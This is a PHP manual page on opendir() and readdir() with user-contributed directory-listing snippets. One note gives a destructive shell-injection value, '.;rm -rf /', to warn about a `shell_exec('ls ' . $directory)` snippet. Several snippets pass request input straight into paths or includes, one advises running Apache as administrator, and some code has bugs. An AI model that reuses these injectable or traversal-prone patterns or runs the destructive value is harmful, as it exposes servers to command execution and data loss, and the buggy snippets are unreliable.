    if ($handle = opendir($dir)) {
        $mydir = ($label != "") ? "<label for=\"".$select_name."\">".$label."</label>\n" : "";
        $mydir .= "<select name=\"".$select_name."\">\n";
        $curr_val = (isset($_REQUEST[$select_name])) ? $_REQUEST[$select_name] : $curr_val;
        $mydir .= ($curr_val == "") ? "  <option value=\"\" selected>...\n" : "<option value=\"\">...\n";
        while (false !== ($file = readdir($handle))) {
            $files[] = $file;
        }
        closedir($handle);
        sort($files);
        foreach ($files as $val) {
            if (is_file($dir.$val)) { // show only real files (ver. 1.01)
                $mydir .= "    <option value=\"".$val."\"";
                $mydir .= ($val == $curr_val) ? " selected>" : ">";
                $mydir .= (strlen($val) > $char_length) ? substr($val, 0, $char_length)."...\n" : $val."\n";
                $teller++;
            }
        }
        $mydir .= "</select>";
    }
    if ($teller == 0) {
        $mydir = "No files!";
    } else {
        return $mydir;
    }
}

echo select_files("C:/winnt/", "", "", "", "60");
?>

Now i can see hist files in his windows dir. Is this a leak? and is it fixable? I'll report this as bug too!

Tim2005
tozeiler 15-Apr-2006 01:34
"opendir" said:
------------------------------------------------------------------

23-Jan-2006 08:04
I Just wanted a directory list and a clickable link to download the files

<snip>
------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {

<snip complicated function contents>

------------------------------------------------------------------
Here's a more straightforward way to linkify $path/files:

<?php

echo "<h1>Directory Overzicht:</h1>";

$dh = opendir($path);
while (($file = readdir($dh)) !== false) {
    echo "<a href='$path/$file'>$file</a><br />";
}
closedir($dh);

?>
23-Jan-2006 07:04
I Just wanted a directory list and a clickable link to download the files because my plesk server does not give me this function. I edited the script a little bit.

Many thanks from a script-noob

------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("./");
foreach ($files as $file) print "&nbsp;&nbsp;&nbsp;&nbsp;<b><a href=\"$file[name]\">$file[name]</a></b><br>\n";
?>
mstabile75 at gmail dot com 28-Dec-2005 08:26
In my previous post I ran into a problem with the "global" definition of $directorylist.  If I called the function more than once on the same page it would combine the file lists. I looked at Lasse Dalegaard's example and used the following solution.

remove global definition
     global $directorylist;

REPLACE
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
}
?>
WITH
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
    $list2 = filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
    if(is_array($list2)) {
        $directorylist = array_merge($directorylist, $list2);
    }
}
?>
mstabile75 at gmail dot com 27-Dec-2005 07:04
<?php
/* The below function will list all folders and files within a directory
It is a recursive function that uses a global array.  The global array was the easiest
way for me to work with an array in a recursive function
*This function has no limit on the number of levels down you can search.
*The array structure was one that worked for me.
ARGUMENTS:
$startdir => specify the directory to start from; format: must end in a "/"
$searchSubdirs => True/false; True if you want to search subdirectories
$directoriesonly => True/false; True if you want to only return directories
$maxlevel => "all" or a number; specifes the number of directories down that you want to search
$level => integer; directory level that the function is currently searching
*/
function filelist ($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1) {
    //list the directory/file names that you want to ignore
    $ignoredDirectory[] = ".";
    $ignoredDirectory[] = "..";
    $ignoredDirectory[] = "_vti_cnf";
    global $directorylist;    //initialize global array
    if (is_dir($startdir)) {
        if ($dh = opendir($startdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (filetype($startdir . $file) == "dir") {
                       //build your directory array however you choose;
                       //add other file details that you want.
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
                           }
                       }
                   } else {
                       if (!$directoriesonly) {
                           //if you want to include files; build your file array
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
      }}}}
           closedir($dh);
}}
return($directorylist);
}
$files = filelist("./",1,1); // call the function
foreach ($files as $list) {//print array
    echo "Directory: " . $list['dir'] . " => Level: " . $list['level'] . " => Name: " . $list['name'] . " => Path: " . $list['path'] ."<br>";
}?>
chrys at mytechjournal dot com 10-Dec-2005 11:16
I wrote a function to recursively delete files from a starting directory.  I had to do this because my server doesn't allow me to delete files that apache writes because I don't have permissions, so... I let apache do the work.

<?php
$dir = "/path/to/base/dir";

recursive_delete($dir);

function recursive_delete( $dir )
{
        if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                        if( $file != "." && $file != ".." )
                        {
                                if( is_dir( $dir . $file ) )
                                {
                                        echo "Entering Directory: $dir$file<br/>";
                                        recursive_delete( $dir . $file . "/" );
                                        echo "Removing Directory: $dir$file<br/><br/>";
                                        rmdir( $dir . $file );
                                }
                                else
                                {
                                        echo "Deleting file: $dir$file<br/>";
                                        unlink( $dir . $file );
                                }
                        }
               }
               closedir($dh);
           }
        }
}
?>
neale-php at woozle dot org 30-Nov-2005 09:41
oryan's example is still sub-optimal, even if people using it never ever substitute a variable for directory.

Just use PHP's glob() function, which will be faster and more efficient anyway since it doesn't have to launch a shell and run the ls program (that's what the shell_exec does).

$result = glob("directory/*");
oryan at zareste dot com 01-Nov-2005 03:19
There might be a bit of truth to that.  If, by chance, the webmaster made a form saying "type a random directory name here" and used that in the function, there'd be a problem.  So let's eliminate the 'function' part

$files=shell_exec("ls directory");
$result=explode("\n",$files);

'$result' will now be an array of the directory files.  You can use variables in the shell_exec command, but don't use anything that could be user-sent.
aligma at gmail dot com 31-Oct-2005 07:54
The example given by oryan at zareste dot com may also be a "simpler faster way" of creating security holes in your code. The function listed above prevents risking execution of abitrary shell commands listed after a semicolon (;) in your directory name.
Example: $directory = '.;rm -rf /';
Result: List this directory, erase contents of filesystem.
oryan at zareste dot com 30-Oct-2005 05:33
There's a simpler faster way to get a whole directory if you're using PHP 4.  This function uses shell_exec - http://us3.php.net/shell_exec - and assumes you're using Unix/Linux and have shell access -

function dir($directory){
   $files=shell_exec("ls ".$directory);
   return explode("\n",$files);
}

This returns an array with all the files.
This way, you can use modifiers like -t, which shows files in order of modification time ($files=shell_exec("ls -t ".$directory);).  Enough tweaking and you can use it on Windows, though I can't say how since I don't have a Windows server to try it on
asharm4 at ilstu dot edu 07-Oct-2005 09:56
//this is a function I wrote to sort out the contents of the directory date wise for display.

 $content_array = array();

//set current working directory
$dirname = "C:\temp";

//Load Directory Into Array
$handle=opendir($dirname);
$i=0;
while ($file = readdir($handle))
if ($file != "." && $file != "..")
{
       $content_array[$i][0] = $file;
       $content_array[$i][1] = date ("Y m d", filemtime($dirname."/".$file));
        $i++;
}
//close the directory handle
closedir($handle);

//these lines sort the contents of the directory by the date
    foreach($content_array as $res)
       $sortAux[] = $res[1];
    array_multisort($sortAux, SORT_ASC, $content_array);
05-Oct-2005 09:40
This function sorts files by name as strings, but without regard to case.  It also does some handy string formatting of the file size information.

<?
function getFiles($path) {
    //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
    //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
    //relative to each other in the order presented by readdir()
    $files = array();
    $fileNames = array();
    $i = 0;

    if (is_dir($path)) {
        if ($dh = opendir($path)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == "." || $file == "..") continue;
                $fullpath = $path . "/" . $file;
                $fkey = strtolower($file);
                while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
                $a = stat($fullpath);
                $files[$fkey]['size'] = $a['size'];
                if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
                else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
                else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
                else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
                $files[$fkey]['name'] = $file;
                $files[$fkey]['type'] = filetype($fullpath);
                $fileNames[$i++] = $fkey;
            }
            closedir($dh);
        } else die ("Cannot open directory:  $path");
    } else die ("Path is not a directory:  $path");
    sort($fileNames,SORT_STRING);
    $sortedFiles = array();
    $i = 0;
    foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

    return $sortedFiles;
}

$files = getFiles("C:");
foreach ($files as $file) print "$file[name]<br>\n";
?>
Lasse Dalegaard 21-May-2005 12:25
I made a function for finding all files in a specified directory and all subdirectories. It can be quite usefull when searching in alot of files in alot subdirectories. The function returns an array with the path of all the files found.

<?
function getFiles($directory) {
    // Try to open the directory
    if($dir = opendir($directory)) {
        // Create an array for all files found
        $tmp = Array();

        // Add the files
        while($file = readdir($dir)) {
            // Make sure the file exists
            if($file != "." && $file != ".." && $file[0] != '.') {
                // If it's a directiry, list all files within it
                if(is_dir($directory . "/" . $file)) {
                    $tmp2 = getFiles($directory . "/" . $file);
                    if(is_array($tmp2)) {
                        $tmp = array_merge($tmp, $tmp2);
                    }
                } else {
                    array_push($tmp, $directory . "/" . $file);
                }
            }
        }

        // Finish off the function
        closedir($dir);
        return $tmp;
    }
}

// Example of use
print_r(getFiles('.')); // This will find all files in the current directory and all subdirectories
?>
brett at medeaproject dot co dot za 11-May-2005 12:02
This is a little script i wrote to generate a home page on my dev box by parsing the contents of my htdocs directory. It is encapsulated in a html table

Arb but useful if you are as lazy as I am ;)
<?
$handle = opendir("./");

while (($file = readdir($handle))!==false) {
  if(is_dir($file)){
    if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file;?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

      }
  }
}
closedir($handle);
$handle = opendir("./");
while (($file = readdir($handle))!==false) {
  if(is_file($file)){
    if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

      }
  }
}
closedir($handle);
?>
brett at medeaproject dot co dot za 11-May-2005 12:01
This is a little script i wrote to generate a home page on my dev box by parsing the contents of my htdocs directory. It is encapsulated in a html table

Arb but useful if you are as lazy as I am ;)
<?
$handle = opendir("./");

while (($file = readdir($handle))!==false) {
  if(is_dir($file)){
    if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file;?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

      }
  }
}
closedir($handle);
$handle = opendir("./");
while (($file = readdir($handle))!==false) {
  if(is_file($file)){
    if($file != "." && $file != ".."){?>
  <tr>
  <td align="center" bgcolor="FFFFFF"><a href="<?= $file?>"><?php echo ucwords($file)?></a></strong></td>
  </tr>
  <?php

      }
  }
}
closedir($handle);
?>
iamnotanerd 29-Mar-2005 09:38
Here is a snippet of the code that I created to search for a file..recursively open the directories and search for a match..

<?php
function search($target, $directory){

    if(is_dir($directory)){
        $direc = opendir($directory);
        while(false !== ($file = readdir($direc))){

            if($file !="." && $file != ".."){

                if(is_file($directory."/".$file)){
                    if(preg_match("/$target/i", $file)){
                                            echo "<a href=\"$directory/$file\">$file</a><br>";
                                        }
                }else if(is_dir($directory."/".$file)){
                    search($target,$directory."/".$file);

                }

            }
        }
        closedir($direc);
    }

    return ;
}
?>
hendrik dot wermer at gmx dot de 07-Feb-2005 05:06
Here's another version of directory listing, since I had some problems using the examples below. It will display the content of the current directory, sorted by directories and files.
You can also search subdirectories by setting $maxDepth > 0. There's a link to other directories, so you can easily switch to the parent directory or to other directories in the current directory.
Hope it helps!

<?php
// show directory content
function showDir($dir, $i, $maxDepth){
    $i++;
    if($checkDir = opendir($dir)){
        $cDir = 0;
        $cFile = 0;
        // check all files in $dir, add to array listDir or listFile
        while($file = readdir($checkDir)){
            if($file != "." && $file != ".."){
                if(is_dir($dir . "/" . $file)){
                    $listDir[$cDir] = $file;
                    $cDir++;
                }
                else{
                    $listFile[$cFile] = $file;
                    $cFile++;
                }
            }
        }

        // show directories
        if(count($listDir) > 0){
            sort($listDir);
            for($j = 0; $j < count($listDir); $j++){
                echo "
                <tr>";
                    $spacer = "";
                    for($l = 0; $l < $i; $l++) $spacer .= "&emsp;";
                    // create link
                    $link = "<a href=\"" . $_SERVER["PHP_SELF"] . "?dir=" . $dir . "/" . $listDir[$j] . "\">$listDir[$j]</a>";
                    echo "<td>" . $spacer . $link . "</td>
                </tr>";
                // list all subdirectories up to maxDepth
                if($i < $maxDepth) showDir($dir . "/" . $listDir[$j], $i, $maxDepth);
            }
        }

        // show files
        if(count($listFile) > 0){
            sort($listFile);
            for($k = 0; $k < count($listFile); $k++){
                $spacer = "";
                for($l = 0; $l < $i; $l++) $spacer .= "&emsp;";
                echo "
                <tr>
                    <td>" . $spacer . $listFile[$k] . "</td>
                </tr>";
            }
        }
        closedir($checkDir);
    }
}

if($_GET["dir"] == "" || !is_dir($_GET["dir"])) $dir = getcwd();
else $dir = $_GET["dir"];
// replace backslashes, not necessary, but better to look at
$dir = str_replace("\\", "/", $dir);

// show parent path
$pDir = pathinfo($dir);
$parentDir = $pDir["dirname"];

echo "<a href=\"" . $_SERVER["PHP_SELF"] . "\"><h3>Home</h3></a>";
echo "Current directory: " . $dir;
echo "<a href=\"" . $_SERVER["PHP_SELF"] . "?dir=$parentDir\"><h4>Parent directory: $parentDir</h4></a>";

// Display directory content
echo"<table border=1 cellspacing=0 cellpadding=2>
<tr><th align=left>File / Dir</th>";

// specifies the maxDepth of included subdirectories
// set maxDepth to 0 if u want to display the current directory
$maxDepth = 0;
showDir($dir, -1, $maxDepth);
?>
sandy at montana-riverboats dot com 29-Sep-2004 09:08
<?php
/*
** This recursive file lister only slurps in one page at time,
** so it doesn't take forever to load when operating over
** a large system.....comes with an "Up" link for every page too.
*/

$PHP_SELF = $_SERVER['PHP_SELF'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
# activate the next line (and deactivate the last) to
# use this script in a $DOCUMENT_ROOT/~anybody
# environment.
#$DOCUMENT_ROOT="/home/sandy/public_html/";

$tdir = $_GET['dir'];
echo "tdir==$tdir<br>";
$tparent_path = $_GET['parent_path'];
$dbg = $_GET['dbg'];

if(!strstr($tdir, $DOCUMENT_ROOT))
  $tdir = getcwd();
if(!strstr($tparent_path, $DOCUMENT_ROOT))
  $tparent_path = $tdir;

if (!isset ($tdir))
  {
    $dir = getcwd ();
  }
else
  $dir = $tdir;

if (!isset ($tparent_path))
  {
    $parent_path = $dir;
  }
else
  $parent_path = $tparent_path;

echo "<br>";
if (!isset ($tdir))
  {
    $upurl = $PHP_SELF;
  }
else
  {
    if ($parent_path == $DOCUMENT_ROOT)
      $parent_parent_path = $parent_path;
    else
      $parent_parent_path = dirname ($parent_path);
    $upurl = $PHP_SELF."?dir=".$parent_path."&parent_path=".
                  $parent_parent_path;
  }

if($dbg==1)
{
  echo "PHP_SELF: $PHP_SELF<br>\n";
  echo "DOCUMENT_ROOT: $DOCUMENT_ROOT<br>\n";
  echo "dir: $dir<br>\n";
  echo "parent_path: $parent_path<br>\n";
  echo "upurl: $upurl<br>\n";
}

echo "<a href=\"$upurl\"> <h3>Up</h3> </a>\n";
echo "<h2>$dir</h2>\n";

create_tree ($dir, $parent_path);

function
urlFromPath ($path)
{
  global $PHP_SELF;
  global $DOCUMENT_ROOT;
  $prefix = "";
  if (substr ($path, 0, 1) != "/")
    $prefix = "/";
  $url = $prefix.ereg_replace ($DOCUMENT_ROOT, "", $path);
  return $url;
}

function
create_tree ($dir, $parent_path)
{
  if ($handle = opendir ($dir))
    {
      $i = 0;
      while (false !== ($file = @readdir ($handle)))
    {
      if ($file != "." && $file != "..")
        {
          $list[$i] = $file;
          $i++;
        }
    }
      $dir_length = count ($list);
      echo "<ul>";
      for ($i = 0; $i < $dir_length; $i++)
    {
      global $PHP_SELF;
      global $DOCUMENT_ROOT;
      $label = $list[$i];
      $test = $dir."/".$label;
      $alink = $dir."/".ereg_replace(" ","%20",$label);
      if (!strstr ($PHP_SELF, $label))
        {
          if (is_dir ($test))
        {
          $tmp = $PHP_SELF. "?dir=".$alink."&parent_path=".$dir;
          $url = ereg_replace(" ", "%20", $tmp);
                  echo "$url<br>\n";
          echo "<a href=\"$url\"><b>$label</b>/</a><br>\n";
        }
          else
        {
          $link = urlFromPath ($alink);

          $label = $list[$i];
          echo
            "<a href=\"$link\">".$label."</a><br>\n";
        }
        }
    }
      echo "</ul>";
      closedir ($handle);
    }
}

?>
cnichols at nmu dot edu 17-Sep-2004 11:03
Here's another recursive function that prints out everything from the starting path to the end. It doesn't have any search function, but just another example. I wrote it for getting a quick hierarchial view of websites (even through Dreamweaver will show it to me, it'd be a chore to go through each folder and expand it).

<?php

// map_dirs(path,level)
// path, level to start (start at 0)

map_dirs("/var/ww/html/",0);

function map_dirs($path,$level) {
        if(is_dir($path)) {
                if($contents = opendir($path)) {
                        while(($node = readdir($contents)) !== false) {
                                if($node!="." && $node!="..") {
                                        for($i=0;$i<$level;$i++) echo "  ";
                                        if(is_dir($path."/".$node)) echo "+"; else echo " ";
                                        echo $node."\n";
                                        map_dirs("$path/$node",$level+1);
                                }
                        }
                }
        }
}

?>
MagicalTux at FF.st 08-Aug-2004 06:32
Note that the opendir() function will use ISO8859-1 characterset under windows...

If you have korean, japanese, etc.. filenames, you won't be able to open them. I still didn't find any solution to workaround that.
dale dot liszka at gmail dot com 06-Aug-2004 08:17
I whipped up a little recursive directory searching function that has been very useful.  I figured it belonged here.  I'm sure its not the most robust or creative code, but it works for me.

Note, you can use strpos for simple matches or preg_match if you want the power of regular expressions (however it is a bit slower).  I also have it set to use double quotes "\\" for WIN32.  change to "/" if necessary.

It returns an array of all matching files with full path.

function search_dir($mask,$dir,$level){
    if($level > 3){
        return "Exceeded max level (3)";
    }
    $return_me = array();
    if (is_dir($dir)) {
       if ($dh = opendir($dir)) {
           while (($file = readdir($dh)) !== false) {
               #echo "filename: $file : filetype: " . filetype($dir . $file) . " level: $level\n";
               if(is_dir($dir."\\".$file) and $file != '.' and $file != '..'){
                   $test_return = search_dir($mask,$dir."\\".$file,$level+1);
                   if(is_array($test_return)){
                       $temp = array_merge($test_return,$return_me);
                       $return_me = $temp;
                   }
                   if(is_string($test_return)){
                       array_push($return_me,$test_return);
                   }
               #} else if(strpos($file,$mask) !== FALSE){  #A bit faster, but you can't use regexs!
               } else if(preg_match($mask,$file)){
                   array_push($return_me,$dir."\\".$file);
               }
           }
           closedir($dh);
       }
    }
    return $return_me;
}
Cabal at CnCWorld dot org 28-Mar-2004 06:21
I had problems getting it to work because I'm not the best at PHP, but there IS a way to use opendir to list things in alphabetical order. I'm using it for my university project. All you have to do is read the filenames into an array, sort the array and then do what you want with the filenames.... like this....

So that you know what all my variables mean in this - $stats is the folder that it looks in for the files - for example
?stats=images
would look in the images folder

Obviously you will want to modify it so it fits your needs, but I thought you guys would want this - especially if your server doesnt have the latest version of php.

===========================

<?php
$i = 0;
$arraycount = 0;
$home="/home/cabal/public_html/b146/admin/$stats";

if ($stats)
{
    $dircheck="/home/cabal/public_html/b146/admin/$stats";
    if (is_dir($dircheck))
    {
        if ($handle = opendir($home))
        {
            while (false !== ($file = readdir($handle)))
            {
                   if ($file != "." && $file != "..")
            {
            $path = "$home/$file";
            $extension = array_pop(explode('.', basename($path)));
            $filearray[$i] = $file;
            $i++;
            }
            }
           }
           closedir($handle);

    }
    else
    {
    echo "INCORRECT SELECTION";
    }

}

else

{
echo "NOTHING SELECTED";
}
echo "&nbsp;";

echo("<table width='100%' border='1'><tr><td><b><font color='#ff0000'>");
echo("$stats : Log File");
echo("</b></font></td><td><font color='#FF0000'><b>Page Views</b></font></td></tr>");
sort($filearray);
reset($filearray);
while (list($key, $val) = each($filearray))
{
    $includearray = "$home/$filearray[$key]";
    echo("<tr><td>");
    echo("$val");
    echo("</td><td>");
    include($includearray);
    echo("</td></tr>");

}
echo("</table>");

?>
dieck at gmx dot de 26-Feb-2004 04:47
If you have problems like "failed to open dir: Invalid argument"
when using IIS and trying to access windows/smb network shares, try
//servername/share/directory
instead of
\\servername\share
micklweiss at gmx dot net 19-Nov-2003 01:12
I ran into a little snag in example 1. opendir() lists files by the last time the file was accessed. I was trying to print the files numerically in a directory.

Solution: Use scandir() instead (php5) or store the files in an array and sort it.

Hope this helps someone.

- Mick

(o> Web / software developer
( )     UNIX Systems Admin
---   ~ www.mickweiss.com ~
info at 4design dot nu 22-Aug-2003 06:31
In addition to notes above about IIS & PHP reading network shares, here's one solution that works better for me.

in the management console I created a folder where my "read_dir" script runs. click on properties then select the security tab. here you can set the anonymous account to the standard IUSR_$computername% , BUT.. in this case I chose another account that I set up for reading my shares. (make sure login name and password match the credantials you set on the remote machin ;-))

I use this to read a dir and it's contents into a searchable database. and it works like a charm...
Matt Grimm 06-Jun-2003 01:25
Thought I could help clarify something with accessing network shares on a Windows network (2000 in this case), running PHP 4.3.2 under Apache 2.0.44.

However you are logged into the Windows box, your Apache service must be running under an account which has access to the share.  The easiest (and probably least safe) way for me was to change the user for the Apache service to the computer administrator (do this in the service properties, under the "Log On" tab).  After restarting Apache, I could access mapped drives by their assigned drive letter ("z:\\") or regular shares by their UNC path ("\\\\shareDrive\\shareDir").
mitka at actdev.com 27-Sep-2002 04:42
Re: Accessing network directories on W32

In reply to the previous comments, to enable opendir() to open directories like "\\SOMEHOST\shareddir", with PHP+IIS:

Follow the instructions here: http://support.microsoft.com/default.aspx?scid=kb;en-us;Q189408

Check that the file share allows reads to IUSR_[HOSTNAME] user.
kcgt at go dot com 29-Aug-2002 07:14
I don't know if this will work the same, but I was working with copy() in order to copy a file to a network drive using IIS.

In order to be able to copy to a network drive, you have to have permissions for the user IUSR_computername where computername is the name of the computer that is running PHP. Once permissions were set up on the remote machine, PHP was able to access the remote files. I don't know if this will work the same with opendir, but it might be worth a try......
getcwd
readdir
Directory Functions


Read entry from directory handle

opendir
rewinddir
Directory Functions
PHP Manual

readdir

(PHP 4, PHP 5)

readdir — Read entry from directory handle

Description

string readdir ([ resource $dir_handle ] )

Returns the name of the next entry in the directory. The entries are returned in the order in which they are stored by the filesystem.

Parameters

dir_handle

The directory handle resource previously opened with opendir(). If the directory handle is not specified, the last link opened by opendir() is assumed.

Return Values

Returns the entry name on success or FALSE on failure.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 List all entries in a directory

Please note the fashion in which readdir()'s return value is checked in the examples below. We are explicitly testing whether the return value is identical to (equal to and of the same type as--see Comparison Operators for more information) FALSE since otherwise, any directory entry whose name evaluates to FALSE will stop the loop (e.g. a directory named "0").

<?php

if ($handle = opendir('/path/to/files')) {
    echo "Directory handle: $handle\n";
    echo "Entries:\n";

    /* This is the correct way to loop over the directory. */
    while (false !== ($entry = readdir($handle))) {
        echo "$entry\n";
    }

    /* This is the WRONG way to loop over the directory. */
    while ($entry = readdir($handle)) {
        echo "$entry\n";
    }

    closedir($handle);
}
?>

Example #2 List all entries in the current directory and strip out . and ..

<?php
if ($handle = opendir('.')) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry != "." && $entry != "..") {
            echo "$entry\n";
        }
    }
    closedir($handle);
}
?>

See Also

  • is_dir() - Tells whether the filename is a directory
  • glob() - Find pathnames matching a pattern
  • opendir() - Open directory handle
  • scandir() - List files and directories inside the specified path

User Contributed Notes

erik at banckfam dot org 08-Dec-2011 04:07
OS-10 incompatibility with other platforms. (linux, Unix, windows......)

Acceted MB-chars are coverted in the OS-10 filing system when you STORE files on disc.
They are split into the simple ascii char. plus a 2 byte COMBINING accent.
Visualy there is no difference but Binary there is !!!!
This workes fine as long as you stay within the OS-10 enviroment.
exception in PHP: readir(). (it returnes the filenames as stored on disc.)
the problem arrises when you export any of the files again to a NON OS-10 platform !!!!
The filenames are NOT reconverted to their original filenames !!!!!
===================================================================

It makes the programs on other platforms unable to find the files !!!!!!!!!

example: Using RSYNC between 2 MACs: NO PROBLEM !
Using RSYNC between a MAC and a Linux, Unix or Windows platform: BIG PROBLEM !!!

If you have the filenames stored in a DB, the names in the DB will NOT Match the filenames on
the disc you exported them to. (ie. they are unknown) Due to the fact that other platforms do NOT
have the filename translation in their filing system.

There are several ways to overcome this PROBLEM. None of witch are simple and straightforeward.
1) Translate the names in the DB so that they binary match the filenames on disc.
   This would have been easy if there was a system call to translate a given filename
   to the way this filename is stored on disc (OS-10).
2) Rename the files on disc and in the DB, by eliminating any of the problem chars !
3) Using a script that at the time of usage of a filename translates it depending on
   what platform you are !!!

As you can see, this is no easy NUT TO CRACK !!
williamcomartin at gmail dot com 28-Nov-2011 07:20
A function i made to read the array and check if the file exist in an array great for testing against a db to find files in a folder that arent already logged

<?php
function read_dir($dir, $array = array()){
        $dh = opendir($dir);
        $files = array();
        while (($file = readdir($dh)) !== false) {
            $flag = false;
            if($file !== '.' && $file !== '..' && !in_array($file, $array)) {
                $files[] = $file;
            }
        }
        return $files;
    }
?>
Mauro Alessandro Nonnis 17-Jul-2011 01:57
## List and Rename  all files on recursive directories with "recursive directory name" as template + filename
## Advice:  other files in the same directory will result in a warning
## scriptname : Recursive Dir_Renfiles_dirname-filename.php

<?php
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != ".." && $file != "Recursive Dir_Renfiles_dirname-filename.php") {
                    echo "$file";
        echo "<br>";
                    $count = -1;
                     $handle2 = @opendir($file);
                        while (false !== ($file2 = @readdir($handle2))) {
                        echo "$file2";
                        if ($count <10 ){ @rename("$file/$file2", "$file/$file"."_$file2");}
                        else { @rename("$file/$file2", "$file/$file"."_$file2");}
                        echo "<br>";
                         $count = $count + 1;
                            }
             echo "<br>";
        }
    }
    closedir($handle);
}
?>
mrlemonade 09-Jul-2011 03:34
Get all files on recursive directories in single array.

<?php
/*
 * mrlemonade ~
 */

function getFilesFromDir($dir) {

  $files = array();
  if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            if(is_dir($dir.'/'.$file)) {
                $dir2 = $dir.'/'.$file;
                $files[] = getFilesFromDir($dir2);
            }
            else {
              $files[] = $dir.'/'.$file;
            }
        }
    }
    closedir($handle);
  }

  return array_flat($files);
}

function array_flat($array) {

  foreach($array as $a) {
    if(is_array($a)) {
      $tmp = array_merge($tmp, array_flat($a));
    }
    else {
      $tmp[] = $a;
    }
  }

  return $tmp;
}

// Usage
$dir = '/data';
$foo = getFilesFromDir($dir);

print_r($foo);
?>
Xhtml.co.il 01-Jun-2011 09:31
Return an array of file names and folders in directory:

<?php
function read_folder_directory($dir = "root_dir/dir")
    {
        $listDir = array();
        if($handler = opendir($dir)) {
            while (($sub = readdir($handler)) !== FALSE) {
                if ($sub != "." && $sub != ".." && $sub != "Thumb.db" && $sub != "Thumbs.db") {
                    if(is_file($dir."/".$sub)) {
                        $listDir[] = $sub;
                    }elseif(is_dir($dir."/".$sub)){
                        $listDir[$sub] = ReadFolderDirectory($dir."/".$sub);
                    }
                }
            }
            closedir($handler);
        }
        return $listDir;
    }
?>

Using:

<?php
$files = read_folder_directory ($_SERVER["DOCUMENT_ROOT"].'/images/);

if ($files)
{
     foreach ($files as $file)
     {
           echo $file."<br/>"
     }
}
?>
stuart at horuskol dot net 02-May-2011 10:20
Looking through the examples, I can't see any that do a simple check on the value of the directory resource that opendir returns and is subsequently used by readdir.

If opendir returns false, and you simply pass this to the readdir call in the while loop, you will get an infinite loop.

A simple test helps prevent this:

<?php

$dir = opendir($path);
while ($dir && ($file = readdir($dir)) !== false) {
  // do stuff
}

?>
sreekumar [at] sreek [dot] in 12-Apr-2011 02:04
A function I created to non-recursively get the path of all files and folders including sub-directories of a given folder.
Though I have not tested it completely, it seems to be working.

<?php

/**
 * Finds path, relative to the given root folder, of all files and directories in the given directory and its sub-directories non recursively.
 * Will return an array of the form
 * array(
 *   'files' => [],
 *   'dirs'  => [],
 * )
 * @author sreekumar
 * @param string $root
 * @result array
 */
function read_all_files($root = '.'){
